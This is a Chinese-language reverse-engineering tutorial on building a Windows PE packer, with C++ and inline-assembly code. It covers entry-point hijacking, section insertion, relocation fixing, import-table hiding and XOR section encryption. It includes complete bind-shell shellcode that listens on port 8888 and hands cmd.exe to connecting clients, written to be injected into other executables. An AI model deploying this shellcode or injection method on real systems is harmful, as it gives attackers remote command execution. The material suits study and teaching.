逆向基础-加壳

回顾PE文件从硬盘到能运行起来经历的步骤:
将PE文件COPY到内存,然后按照内存对齐值进行对齐。
接着加载DLL文件,DLL文件加载进入内存以后会把IAT表从原本的保存名字进行修复,修复为真正的地址。

程序运行:
操作系统通过读取PE文件的OEP + ImageBase加载基址定位程序入口点开始执行代码。

壳的原理:
修改OEP,将持续的OEP指向自己代码所在的地址,执行完以后再跳回真正的OEP。就是早于持续的执行而执行

问题:如何在PE文件中防止我们的壳代码。
难点有三点:
  -代码放在哪里
    -我们可以放在代码段里面,因为他要进行文件的对齐,所以肯定有空白的位置
  -代码如何编写
    push 0               6A 00
    push 0               6A 00
    push 0               6A 00
    push 0               6A 00
    call MessageBoxA     E8 XXXXX = 77280BA0 - 498D20 - 8 - 5 
                            = 76 DE 7E 73
                         E8 73 7E DE 76
    
    MessageBoxA 77280BA0 
    498D20
    
  -如何跳转回去原本的OEP
    jmp oep              E9  目标地址 - 当前地址 - 5 
                             44A6F4 - 498D2D - 5
                             = FF FB 19 C2
                         E9 C2 19 FB FF    
                        

shellcode写入到PE文件

bindShellcode代码:

#include
#include
void _declspec(naked)shellCode()
{

	__asm
	{
		//ws2_32.dll 77 73 32 5F 33 32 2E 64  6C 6C  00    长度:0xB
		// cmd.exe 63 6D 64 2E 65 78 65 00长度:0x8
		// kernel32.dll 6B 65 72 6E   65 6C 33 32   2E 64 6C 6C   00
		//LoadLibraryA 0XC917432
		//WSAStartup 0x80B46A3D
		// WSASocketA 0xDE78322D
		// bind 0XDDA71064
		// listen 0x4BD39F0C
		// accept 0X1971EB1
		// CreateProcessA 0X6BA6BCC9
		//ExitProcess 0x4FD18963
		//1.保存字符串信息
		push ebp
		mov ebp, esp
		sub esp, 0x30
		//kernel32.dll
		mov byte ptr ds : [ebp - 1] , 0x0
		mov dword ptr[ebp - 0x5], 0x6C6C642E
		mov dword ptr[ebp - 0x9], 0x32336C65
		mov dword ptr[ebp - 0xD], 0x6E72656B
		//cmd.exe
		mov dword ptr[ebp - 0x11], 0x00657865
		mov dword ptr[ebp - 0x15], 0x2e646d63

		//ws2_32.dll
		mov byte ptr[ebp - 0x16], 0
		mov word ptr[ebp - 0x18], 0x6c6c
		mov dword ptr[ebp - 0x1C], 0x642e3233
		mov dword ptr[ebp - 0x20], 0x5f327377

		mov ecx, esp
		lea ecx, [ecx + 0x10]
		push ecx
		call fun_payload
		//popad
		//2.获取模块基址
		fun_GetModule :
		push ebp
			mov ebp, esp
			sub esp, 0xc
			push esi
			mov esi, dword ptr fs : [0x30]//PEB指针
			mov esi, [esi + 0xc]//LDR结构体地址
			mov esi, [esi + 0x1c]//list
			mov esi, [esi]//list的第二项 kernel32
			mov esi, [esi + 0x8]//dllbase
			mov eax, esi
			pop esi
			mov esp, ebp
			pop ebp
			retn
			fun_GetProcAddr :
		push ebp
			mov ebp, esp
			sub esp, 0x20
			push esi
			push edi
			push edx
			push ebx
			push ecx

			mov edx, [ebp + 0X8]//dllbase
			mov esi, [edx + 0x3c]//lf_anew
			lea esi, [edx + esi]//Nt头
			mov esi, [esi + 0x78]//导出表RVA
			lea esi, [edx + esi]//导出表VA
			mov edi, [esi + 0x1c]//EAT RVA
			lea edi, [edx + edi]//EAT VA
			mov[ebp - 0x4], edi//eatva
			mov edi, [esi + 0x20]//ENT RVA
			lea edi, [edx + edi]//ENT va
			mov[ebp - 0x8], edi//ENTVA
			mov edi, [esi + 0x24]//EOT RVA
			lea edi, [edx + edi]//
			mov[ebp - 0xc], edi//EOTVA
			//比较字符串获取API
			xor eax, eax
			xor ebx, ebx
			cld
			jmp tag_cmpfirst
			tag_cmpLoop :
		inc ebx
			tag_cmpfirst :
		mov esi, [ebp - 0x8]//ENT
			mov esi, [esi + ebx * 4]//RVA
			lea esi, [edx + esi]//函数名称字符串
			mov edi, [ebp + 0xc]//要查找的目标函数名称

			push esi//传参
			call fun_GetHashCode//获取ENT函数名称的哈希值
			cmp edi, eax
			jne tag_cmpLoop

			mov esi, [ebp - 0xc]//eot
			xor edi, edi//为了不影响结果清空edi
			mov di, [esi + ebx * 2]//eat表索引
			mov edx, [ebp - 0x4]//eat
			mov esi, [edx + edi * 4]//函数地址rva
			mov edx, [ebp + 0x8]//dllbase
			lea eax, [edx + esi]//funaddr va

			pop ecx
			pop ebx
			pop edx
			pop edi
			pop esi
			mov esp, ebp
			pop ebp
			retn 0x8

			fun_GetHashCode:
		push ebp
			mov ebp, esp
			sub esp, 0X4
			push ecx
			push edx
			push ebx
			mov dword ptr[ebp - 0x4], 0
			mov esi, [ebp + 0x8]
			xor ecx, ecx
			tag_hashLoop :
		xor eax, eax
			mov al, [esi + ecx]
			test al, al
			jz tag_end
			mov ebx, [ebp - 0x4]
			shl ebx, 0x19
			mov edx, [ebp - 0x4]
			shr edx, 0x7
			or ebx, edx
			add ebx, eax
			mov[ebp - 0x4], ebx
			inc ecx//ecx++
			jmp tag_hashLoop
			tag_end :
		mov eax, [ebp - 0x4]
			pop ebx
			pop edx
			pop ecx
			mov esp, ebp
			pop ebp
			retn 0x4

			//payload
			fun_payload:
		push ebp
			mov ebp, esp
			sub esp, 0x300
			//1.先拿到dllbase
			call fun_GetModule
			//2.获取LoadLibraryA
			push 0XC917432//LoadLibraryA 哈希值
			push eax
			call fun_GetProcAddr
			mov[ebp - 0x4], eax//LoadLibraryA 地址
			//3.调用LoadLibraryA 加载ws2_32.dll
			mov ecx, [ebp + 0x8]//ws2_32.dll字符串地址
			push  ecx
			call[ebp - 0x4]//调用loadlibraya获取 ws2_32.dll
			mov[ebp - 0x8], eax//ws2_32base
			//4.获取kernel32.dll模块基址
			mov ecx, [ebp + 0x8]//kernel32.dll字符串地址
			lea ecx, [ecx + 0x13]
			push  ecx
			call[ebp - 0x4]//调用loadlibraya获取 kernel32.dll
			mov[ebp - 0xc], eax//kernel32base

			//获取WSAStartup地址
			push 0x80B46A3D//WSAStartup 哈希值
			push[ebp - 0x8]//ws2_32 基址
			call fun_GetProcAddr

			lea esi, [ebp - 0x300]//WSADATA 结构体
			push esi
			push 0x0202
			call eax
			//获取 WSASocketA 地址并调用
			push 0xDE78322D//WSASocketA 哈希值
			push[ebp - 0x8]//ws2_32 基址
			call fun_GetProcAddr
			//调用WSASocketA
			push 0
			push 0
			push 0
			push 0x6
			push 0x1
			push 0x2
			call  eax
			mov[ebp - 0x10], eax//socket

			//查找bind 并调用
			//获取 bind 地址并调用
			push 0XDDA71064//bind 哈希值
			push[ebp - 0x8]//ws2_32 基址
			call fun_GetProcAddr
			mov word ptr[ebp - 0x200], 0x2
			mov word ptr[ebp - 0x1FE], 0XB822//22B8 8888 大端序
			mov dword ptr[ebp - 0x1FC], 0
			push 0x10//sizeof(SOCKADDR_IN)
			lea esi, [ebp - 0x200]//&SOCKADDR_IN
			push esi
			push[ebp - 0x10]//socket
			call eax
			//获取listen地址 并调用
			push 0x4BD39F0C//listen 哈希值
			push[ebp - 0x8]//ws2_32 基址
			call fun_GetProcAddr
			push 0x7FFFFFFF
			push[ebp - 0x10]//socket
			call eax
			//获取accept 并调用
			push 0X1971EB1//listen 哈希值
			push[ebp - 0x8]//ws2_32 基址
			call fun_GetProcAddr
			push 0
			push 0
			push[ebp - 0x10]
			call eax
			mov[ebp - 0x10], eax

			//初始化STARTUPINFOA结构体
			lea edi, [ebp - 0x90]//STARTUPINFOA结构体首地址
			xor eax, eax
			mov ecx, 0x11
			cld
			rep stosd
			mov dword ptr[ebp - 0x90], 0x44//sinfo.cb
			mov dword ptr[ebp - 0x64], 0x100//sinfo.dwFlags
			mov word ptr[ebp - 0x60], 0x0//sinfo.wShowWindow
			mov esi, [ebp - 0x10]//socket
			mov dword ptr[ebp - 0x58], esi
			mov dword ptr[ebp - 0x54], esi
			mov dword ptr[ebp - 0x50], esi
			//获取CreateProcessA 并调用
			push 0X6BA6BCC9//listen 哈希值
			push[ebp - 0xC]//kener32 基址
			call fun_GetProcAddr

			lea edi, [ebp - 0x200]
			lea esi, [ebp - 0x90]
			mov ecx, [ebp + 0x8]
			lea ecx, [ecx + 0xB]
			push edi
			push esi
			push 0
			push 0
			push 0
			push 1
			push 0
			push 0
			push ecx
			push 0
			call eax//CreateProcessA

			mov esp, ebp
			pop ebp
			retn 0x4
	}
}
int main()
{
	printf("hello 51hook");
	shellCode();
	return 0;
}

PE文件代码段的空白区不足以存放我们的shellcode怎么办?
添加新的区段来保存我们的shellcode。

新添加区段,那么区段头也要进行添加。
一个区段头对应一个区段。

总结:
  -1.添加一个区段头,可以参考代码段的进行区段头的属性修正
  -2.添加一段空白区段
  -3.修改标准文件头中区段的数量
  -4.修改ImageBase镜像大小
  -5.shellcode黏贴到新添加的区段


添加壳代码的几种方式

上面那种方法也有一个缺陷,如果我们的区段头后面也没有剩余的位置进行存放我们的新的区段头呢?

那么我们就要想办法腾出来一点空间,让区段头。
然后我们发现dos stub是没有使用的。
那么我们是否可以把PE头和区段头向上移动。这样就腾出来位置了。

然后腾出来以后,我们要修改DOS头中距离PE头的偏移。


或者我们使用另一种方式,甚至不用新增一个区段,我们直接扩大最后一个区段的大小。
  -扩大最后一个区段的大小
  -修改对应的区段属性【内存中的大小,文件中的大小】
  -修改镜像的大小
  -写入shellcode,修改oep


回顾我们添加壳代码从刚开始走过来的几种方式:

1.直接在代码段后面的空余位置添加我们的壳代码
2.修改OEP

但是存在一个问题,要是我们的shellcode壳代码太长怎么办
1.我们添加一个新的区段,写入壳代码
2.修改对应的区段头,增加一个区段头并修改对应属性
3.修改imageSize镜像大小,还有修改OEP

这样也存在一个问题要是没有空间给我们新增代码呢?
1.提高PE和区段头,覆盖dos stub
2.修改pe文件在DOS头的偏移
3.然后就和前面步骤一样了

最后一种方法:
1.直接扩大最后一个区段
2.修改最后一个区段的属性,内存大小,文件大小
3.修改镜像大小,修改OEP

壳项目

步骤:
  -1.读取文件
  -2.创建buff存放PE文件镜像
  -3.解析PE文件
  -4.添加区段,修改相关的PE字段值
  -5.写入我们的壳代码到新的区段
  -6.保存文件
  
就是说我们采用的是
  -1.添加区段,写入壳代码
  -2.添加区段头,修改对应的区段头属性
  -3.修改imageSize
  -4.修改OEP
  
我们的壳代码通常用来解密和保护功能:
  -在程序执行前进行解密
  
写壳的难点是什么?
API调用,由于壳代码,shellcode这些是后期添加到PE文件上的,所以无法修复壳代码的IAT表。我们要动态调用API。
即就是加载到内存的地址是不固定的,所以如果我们写死地址,不一定可以执行。
并且如果我们使用了全局代码,会设计重定位,我们还需要修复壳的重定位表。

壳代码以什么形式存在?
壳代码就是一段指令,我们这里将其编写为一个dll文件,把他的代码段,当作是壳代码。
link命令将所有区段合并到代码段。

修复重定位表:
  -1.我们先将dll文件load到内存,然后找到第一个区段也就是我们的代码段+数据
  -2.将第一个区段复制到加壳程序的最后一个区段
  -3.由于imagebase发生变化,需要修复重定位表,要修复重定位表就要获取重定位表的信息。
  两种方案:可以读取未加入到内存的dll文件,拿到重定位表信息
          或者载入到内存当中的dll文件的重定位表信息
  -4.拿到重定位表比较容易,那么我们如何修复呢?因为我们要修复的是在fileBuff中的重定位表信息
  
我们拿到的dll中的重定位表中的信息,这些变量是距离dll的偏移。
怎么转为对应壳程序的偏移呢?
我们知道距离区段的偏移是不变的。那么我们就可以通过距离区段的偏移两边是一样的。

处理导入表:
为了不想让别人轻易的逆向我们的程序。我们可以对导入表进行处理
  -1.找到导入表
  -2.挪动IMAGE_IMPORT_DESCRIPT导入表的结构体,将结构体数据存放到自定义数组,数据结构可以自己重组,加密等
  -3.将保存到输入的导入表结构体存放到新的区段
  -4.把原本的导入表进行销毁,以及处理数据目录表第二项和偏移地址,我们可以伪造一个假的导入表
  
重定位表
VirtualAddress + 小方块的值= rva
rva + imagebase = va
计算出来的va中保存的东西才是真正要修复的地址

我们前面那些修复,无论是dll还是我们的exe,因为没有随机基址,所以都是按照40w进行修复的。那样肯定没有问题。

如果开了随机基址就有问题了。

如何动态修复壳代码的重定位表?
将被加壳程序的重定位表地址指向壳代码的重定位表。
这样操作系统就会帮我们去修复了。反正操作系统知道你要加载那。
操作系统是根据imageBase进行修复的,所以复制过来我们要先按照我们的imageBase修复,然后再交给操作系统修复。

.idata 存放的导入表
.reloc 存放重定位表
以上这两个区段不能通过linker命令合并

所以为了完成上面的操作,我们也需要把dll中的重定位表移动到我们自己这,然后修改指向,让操作系统进行修复。

1.取消合并区段,将壳.dll所有的区段都挪动到被加壳程序的新区段中
2.修复壳代码的重定位表指向的地址
3.修改重定位表的VirtualAddress
4.修改dataDictory[5].virutalAddress & 修改dataDictory[5].size

#pragma once
#include 

typedef struct _PACKINFO {
	DWORD newOEP;
	DWORD oldOEP;
}PACKINFO,*PPACKINFO;

extern "C" __declspec(dllexport) PACKINFO g_PackInfo;

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "pack.h"
#include 

// 将代码段数据段合并到一起 
#pragma comment(linker,"/merge:.data=.text")
#pragma comment(linker,"/merge:.rdata=.text")
#pragma comment(linker,"/section:.text,RWE") // 然后这个区段拥有可读可写可执行的属性

void packStart();

PACKINFO g_PackInfo = {(DWORD)packStart};
typedef HMODULE (WINAPI *MyLoadLibraryExA)(LPCSTR, HANDLE, DWORD);
MyLoadLibraryExA g_MyLoadLibraryExA = NULL;

typedef FARPROC (WINAPI* MYGetProcAddress)(HMODULE, LPCSTR);
MYGetProcAddress g_MyGetProcAddress = NULL;

typedef HMODULE (WINAPI* MyGetModuleHandleA)(LPCSTR);
MyGetModuleHandleA g_MyGetModuleHandleA = NULL;

typedef BOOL (WINAPI* MyVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
MyVirtualProtect g_MyVirtualProtect = NULL;

typedef int (WINAPI* MyMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
MyMessageBoxA g_MyMessageBoxA = NULL;

// 获取kernel32或者kernelbase
DWORD GetImportantModule() {
    DWORD dwBase = 0;
    __asm {
        mov eax, dword ptr fs: [0x30]; // 拿到PEB
        mov eax, dword ptr [eax + 0xC]; // 拿到ldr
        mov eax, dword ptr [eax + 0x1C]; // 拿到ntdll
        mov eax, [eax]; // 拿到ntdll的下一个kernel32或者kernelbase
        mov eax, [eax + 0x8]; // 拿到dllBase
        mov dwBase, eax; // 保存dllBase
    };
    return dwBase;
}

// 获取API函数
DWORD MyGetProcAddress(DWORD hModule, LPCSTR funName) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(hModule + pDosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeader->OptionalHeader;
    // 获取导出表
    IMAGE_DATA_DIRECTORY dataDict = pOptionalHeader->DataDirectory[0];
    PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)(dataDict.VirtualAddress + hModule);
    // 遍历导出表
    DWORD* nameTable = (DWORD*)(pExportTable->AddressOfNames + hModule);
    WORD *numberTable = (WORD*)(pExportTable->AddressOfNameOrdinals + hModule);
    DWORD *funTable = (DWORD*)(pExportTable->AddressOfFunctions + hModule);
    // 名称和序号是一一对应的
    for (int i = 0; i < pExportTable->NumberOfNames; i++) {
        CHAR *funName2 = (CHAR*)(nameTable[i] + hModule);
        if (strcmp(funName, funName2) == 0) {
            return funTable[numberTable[i]] + hModule;
        }
    }
    return 0;
}

// 准备API函数
void GetFunction() {
    // 1.获取kernel32或者kernelbase
    DWORD pKernelBase = GetImportantModule();
    // 2.获取LoadLibraryEx 无论win7还是win10都有
    g_MyLoadLibraryExA = (MyLoadLibraryExA)MyGetProcAddress(pKernelBase,"LoadLibraryEx");
    // 3.通过LoadLibraryEx 我们去加载真正的kernel32
    HMODULE kernel32Base = g_MyLoadLibraryExA("kernel32.dll",0,0);
    // 4.获取其他所有要用到的API地址
    g_MyGetProcAddress = (MYGetProcAddress)MyGetProcAddress((DWORD)kernel32Base, "GetProcAddress");
    g_MyGetModuleHandleA = (MyGetModuleHandleA)g_MyGetProcAddress(kernel32Base,"GetModuleHandleA");
    g_MyVirtualProtect = (MyVirtualProtect)g_MyGetProcAddress(kernel32Base, "VirtualProtect");

    HMODULE user32Base= g_MyLoadLibraryExA("user32.dll", 0, 0);
    g_MyMessageBoxA = (MyMessageBoxA)g_MyGetProcAddress(user32Base, "MessageBoxA");
}
 
// 解密的具体操作
BOOL DecodeSection() {
    INT key = 0x51;
    HMODULE hModule = g_MyGetModuleHandleA(NULL); // 获取exe的基址
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
    CHAR* sectionBuff = (CHAR*)(pSectionHeader->VirtualAddress + (DWORD)hModule);
    DWORD oldProtect;
    g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData,PAGE_EXECUTE_READWRITE,&oldProtect);
    for(int i = 0; i < pSectionHeader->SizeOfRawData; i++){
        sectionBuff[i] = sectionBuff[i] ^ key;
    }
    g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, oldProtect, &oldProtect);
    return TRUE;
}

// 编写我们的壳代码 解密
void __declspec(naked) packStart() {
    __asm pushad; // 保存寄存器环境
    // 壳代码逻辑
    GetImportantModule(); // 获取kernel32或者kernelbase
    GetFunction(); // 准备好要用到的api
    DecodeSection(); // 解密壳程序
    g_MyMessageBoxA(NULL, "壳代码执行", "提示", MB_OK);

    __asm popad; // 恢复寄存器环境 jmp到原始的OEP
    __asm jmp g_PackInfo.oldOEP;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

#pragma once
#include 
class CPeUtil
{
public:
	CPeUtil();
	~CPeUtil();
public:
	BOOL LoadFile(const char *path); // 加载文件
	BOOL InitFileInfo(); // 解析文件
	BOOL InsertSection(const char* sectionName,DWORD codeSize,char *codeBuff,DWORD dwCharateristics); // 插入一个新的区段
	DWORD GetAlignSize(DWORD realSize,DWORD alignSize);
	PIMAGE_SECTION_HEADER GetLastSection(); // 获取最后一个区段头
	BOOL SaveFile(const char *path);
	BOOL EncodeSections(); // 加密区段
	DWORD GetJmpOldVA(); // 获取要跳转的地址
	BOOL SetOep(DWORD oepRva);
	BOOL RepairRelco(DWORD imageBase);
	BOOL GetImportTable();
	DWORD RvaToFoa(DWORD rva);
	DWORD FoaToRva(DWORD foa);
private:
	CHAR* m_fileBuff;
	INT m_fileSize;
	PIMAGE_DOS_HEADER m_pDosHeader;
	PIMAGE_NT_HEADERS m_pNtHeader;
	PIMAGE_FILE_HEADER m_pFileHeader;
	PIMAGE_OPTIONAL_HEADER m_pOptionalHeader;

	DWORD m_importTableSize; // 导入表大小
	PIMAGE_IMPORT_DESCRIPTOR m_pNewImportTabe; // 存放导入表位置
};

#include "CPeUtil.h"
#include 

CPeUtil::CPeUtil()
{
	this->m_fileBuff = nullptr;
	this->m_pDosHeader = nullptr;
	this->m_pNtHeader = nullptr;
	this->m_pFileHeader = nullptr;
	this->m_pOptionalHeader = nullptr;
	this->m_fileSize = 0;
	this->m_importTableSize = 0; // 导入表大小
	this->m_pNewImportTabe = nullptr; // 存放导入表位置
}

CPeUtil::~CPeUtil()
{
	if (this->m_fileBuff != nullptr) {
		delete[] this->m_fileBuff;
		this->m_fileBuff = nullptr;
	}
	this->m_fileSize = 0;
	this->m_pDosHeader = nullptr;
	this->m_pNtHeader = nullptr;
	this->m_pFileHeader = nullptr;
	this->m_pOptionalHeader = nullptr;
	this->m_importTableSize = 0; // 导入表大小
	this->m_pNewImportTabe = nullptr; // 存放导入表位置
}

/*
	@function 加载PE文件
	@param path pe文件路径
	@return 是否加载成功
*/
BOOL CPeUtil::LoadFile(const char* path)
{
	HANDLE hFile = CreateFileA(
		path,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		MessageBoxA(NULL, "加载PE文件失败", "提示", MB_OK);
		return FALSE;
	}
	this->m_fileSize = GetFileSize(hFile, NULL);
	this->m_fileBuff = new CHAR[this->m_fileSize]; // 根据文件大小创建对应的缓冲区
	if (!this->m_fileBuff) { // 创建缓冲区失败
		MessageBoxA(NULL, "创建缓冲区失败", "提示", MB_OK);
		return FALSE;
	}
	// 然后把PE文件读入到内存
	DWORD realRead;
	BOOL bSuccess = ReadFile(hFile, this->m_fileBuff, this->m_fileSize, &realRead, NULL);
	if (!bSuccess) { // 读取文件失败
		MessageBoxA(NULL, "读取PE文件失败", "提示", MB_OK);
		return FALSE;
	}
	// 接着就可以解析PE
	if (!InitFileInfo()) {
		MessageBoxA(NULL, "解析PE文件失败", "提示", MB_OK);
		return FALSE;
	}
	CloseHandle(hFile);
	return TRUE;
}
/*
	@function 初始化PE解析
	@return 是否解析成功
*/
BOOL CPeUtil::InitFileInfo()
{
	this->m_pDosHeader = (PIMAGE_DOS_HEADER)this->m_fileBuff;
	if (this->m_pDosHeader->e_magic != 0x5A4D) {
		MessageBoxA(NULL, "不是一个有效的PE文件", "提示", MB_OK);
		return FALSE;
	}
	this->m_pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)this->m_fileBuff + this->m_pDosHeader->e_lfanew);
	if (this->m_pNtHeader->Signature != 0x4550) {
		MessageBoxA(NULL, "不是一个有效的PE文件", "提示", MB_OK);
		return FALSE;
	}
	this->m_pFileHeader = (PIMAGE_FILE_HEADER)&this->m_pNtHeader->FileHeader;
	this->m_pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&this->m_pNtHeader->OptionalHeader;
	return TRUE;
}
/*
	@function 插入一个新的区段
	@param sectionName 新的区段名称
	@param codeSize 插入的壳代码大小
	@param codeBuff 插入的壳代码
	@dwCharateristics 新的区段的属性
	@return 是否插入成功
*/
BOOL CPeUtil::InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics)
{
	codeSize += this->m_importTableSize; // 还要算上导入表的大小
	// 1.计算新的大小 = (原本的大小 + 添加的区段的大小)进行内存对齐之后的大小
	DWORD newFileSize = GetAlignSize(this->m_fileSize + codeSize,this->m_pOptionalHeader->FileAlignment);
	// 2.创建一个新的缓冲区来存放我们的pe文件
	CHAR* newFileBuff = new CHAR[newFileSize]{0};
	memcpy_s(newFileBuff, newFileSize, this->m_fileBuff, this->m_fileSize);
	// 让旧的缓冲区指向新的缓冲区 并且修改缓冲区的大小
	delete[] this->m_fileBuff;
	this->m_fileBuff = newFileBuff;
	this->m_fileSize = newFileSize;
	InitFileInfo(); // 然后重新解析PE文件

	// 3.给新的区段添加对应的区段头 那么我们首先要先获取到最后一个区段 在最后一个区段头后面添加
	PIMAGE_SECTION_HEADER pLastSectionHeader = GetLastSection();
	pLastSectionHeader++; // 就到最后一个区段头的下一个位置 即新的区段头的位置
	// 给新的区段头添加属性
	pLastSectionHeader->Misc.VirtualSize = GetAlignSize(codeSize,this->m_pOptionalHeader->SectionAlignment);
	pLastSectionHeader->SizeOfRawData = GetAlignSize(codeSize, this->m_pOptionalHeader->FileAlignment);
	strcpy_s((CHAR*)pLastSectionHeader->Name, 8,sectionName); // 设置区段名称
	PIMAGE_SECTION_HEADER pLastSectionHeader2 = GetLastSection();
	pLastSectionHeader->VirtualAddress = pLastSectionHeader2->VirtualAddress +
					GetAlignSize(pLastSectionHeader->Misc.VirtualSize, this->m_pOptionalHeader->SectionAlignment);
	// SizeOfRawData默认就是对齐的
	pLastSectionHeader->PointerToRawData = pLastSectionHeader2->PointerToRawData + pLastSectionHeader->SizeOfRawData;
	pLastSectionHeader->Characteristics = dwCharateristics;
	// 区段头添加好之后修改区段的数量
	this->m_pFileHeader->NumberOfSections++;
	this->m_pOptionalHeader->SizeOfImage += GetAlignSize(codeSize, this->m_pOptionalHeader->SectionAlignment);
	// 接下来就是写入壳代码 和 修改OEP
	CHAR* sectionAddr = GetLastSection()->PointerToRawData + m_fileBuff;
	memcpy(sectionAddr, codeBuff, codeSize);
	// 追加上导入表
	sectionAddr += codeSize; // 这就是存放导入表的起始地址
	// 然后把导入表存放
	memcpy(sectionAddr, this->m_pNewImportTabe, this->m_importTableSize);

	// 然后我们要抹除痕迹那些 修改导入表的Rva指向我们新的Rva
	// 实际上我们不应该让她指向我们新的Rva的
	// 而且正常我们应该还要加密之类的操作 然后抹除原本的Rva之类的
	this->m_pOptionalHeader->DataDirectory[1].VirtualAddress = FoaToRva(sectionAddr - this->m_fileBuff);

	return TRUE;
}

/*
	@function 对传入进来的大小进行文件对齐
	@param realSize 需要对齐的文件大小
	@param alignSize 对齐参考值
	@return 返回对齐值
*/
DWORD CPeUtil::GetAlignSize(DWORD realSize, DWORD alignSize)
{
	if (realSize % alignSize == 0) {
		return realSize;
	}
	// 不能整除的情况
	return (realSize / alignSize + 1) * alignSize;
}

/*
	@function 获取最后一个区段头
	@return 返回最后一个区段头
*/
PIMAGE_SECTION_HEADER CPeUtil::GetLastSection()
{
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
	// 移动区段数量-1次就到最后一个区段了
	return pSectionHeader + (this->m_pFileHeader->NumberOfSections - 1);
}
/*
	@function 保存PE文件
	@param path 要保存的路径
	@return 是否保存成功
*/
BOOL CPeUtil::SaveFile(const char* path)
{
	HANDLE hFile = CreateFileA(
		path,
		GENERIC_WRITE,
		0,
		NULL,
		OPEN_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	DWORD realWrite = 0;
	BOOL ifSuccess = WriteFile(hFile, this->m_fileBuff, this->m_fileSize, &realWrite, NULL);
	CloseHandle(hFile);
	return TRUE;
}
/*
	@function 对区段进行加密
	@return 是否加密成功
*/
BOOL CPeUtil::EncodeSections()
{
	// 拿到第一个区段头
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
	INT key = 0x51;
	// 拿到区段的偏移 + fileBuff即区段的真正位置
	CHAR* pData = pSectionHeader->PointerToRawData + this->m_fileBuff;
	// 对每个字节进行异或运算
	for (INT i = 0; i < pSectionHeader->SizeOfRawData; i++) {
		pData[i] = pData[i] ^ key;
	}
	return TRUE;
}

/*
	@function 获取当前程序的入口地址
	@return 返回入口地址
*/
DWORD CPeUtil::GetJmpOldVA()
{
	return this->m_pOptionalHeader->ImageBase + this->m_pOptionalHeader->AddressOfEntryPoint;
}

/*
	@function 设置新的OEP
	@param oepRva 新的OEP的rva
	@return 是否成功
*/
BOOL CPeUtil::SetOep(DWORD oepRva)
{
	// 新的oep就是最后一个区段我们的壳代码
	this->m_pOptionalHeader->AddressOfEntryPoint = oepRva + GetLastSection()->VirtualAddress;
	return TRUE;
}
/*
	@function 修复重定位表
	@param imageBase dll文件的imageBase
	@return 是否修复成功

主要思路:imageBase尽管不同,但是无论在dll中还是exe中,他们相对区段的位置是一样的
*/
BOOL CPeUtil::RepairRelco(DWORD imageBase)
{
	PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
	PIMAGE_OPTIONAL_HEADER pDllOptionalHeader = &pDllNtHeader->OptionalHeader;
	IMAGE_DATA_DIRECTORY dataDict = pDllOptionalHeader->DataDirectory[5];
	PIMAGE_BASE_RELOCATION pDllRelocation = (PIMAGE_BASE_RELOCATION)(dataDict.VirtualAddress + imageBase);
	PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
	// 就拿到了我们的重定位表了
	while (pDllRelocation->SizeOfBlock != 0) {
		// 计算有多少块
		DWORD reNumber = (pDllRelocation->SizeOfBlock - 0x8) / 2;
		// 第一个块的开始位置
		WORD* prelocRva = (WORD*)((CHAR*)pDllRelocation + 0x8);
		for (int i = 0; i < reNumber; i++) {
			// 高四位是0x3才是有效的要修复的 低12位是真正要修复的
			if ((*prelocRva & 0x3000) == 0x3000) {
				// 小的偏移 + 大的偏移 = RVA
				WORD repairRva = (*prelocRva & 0x0fff) + pDllRelocation->VirtualAddress;
				// 获取需要重定位变量的地址 这才是真正要修复的地址VA
				DWORD* relRepairAddr = (DWORD*)(imageBase + repairRva);
				// 然后我们现在是要修复丢进exe中的最后一个区段的重定位表 把这个dll的地址进行转换
				// 最后一个区段在fileBuff中的偏移
				DWORD newFileSection = (DWORD)(GetLastSection()->PointerToRawData + this->m_fileBuff);
				DWORD newSectionAddr = GetLastSection()->VirtualAddress + this->m_pOptionalHeader->ImageBase;
				// 获取变量在新添加区段中的地址fileBuff中的位置
				// 变量的fileBuff偏移 - 区段fileBuff偏移 = 变量dll偏移 - 区段dll偏移
				DWORD destAddr = 
					(DWORD)relRepairAddr - (pDllSectionHeader->VirtualAddress + imageBase) + newFileSection;
				// 计算变量rva在FileBuff中的
				// 变量的fileBuff偏移 - 区段fileBuff偏移 = 变量dll偏移 - 区段dll偏移
				*(DWORD*)destAddr = (*(DWORD*)destAddr - imageBase)
					- pDllSectionHeader->VirtualAddress + newSectionAddr;
			}
			prelocRva++; // 移动到下一个小块
		}
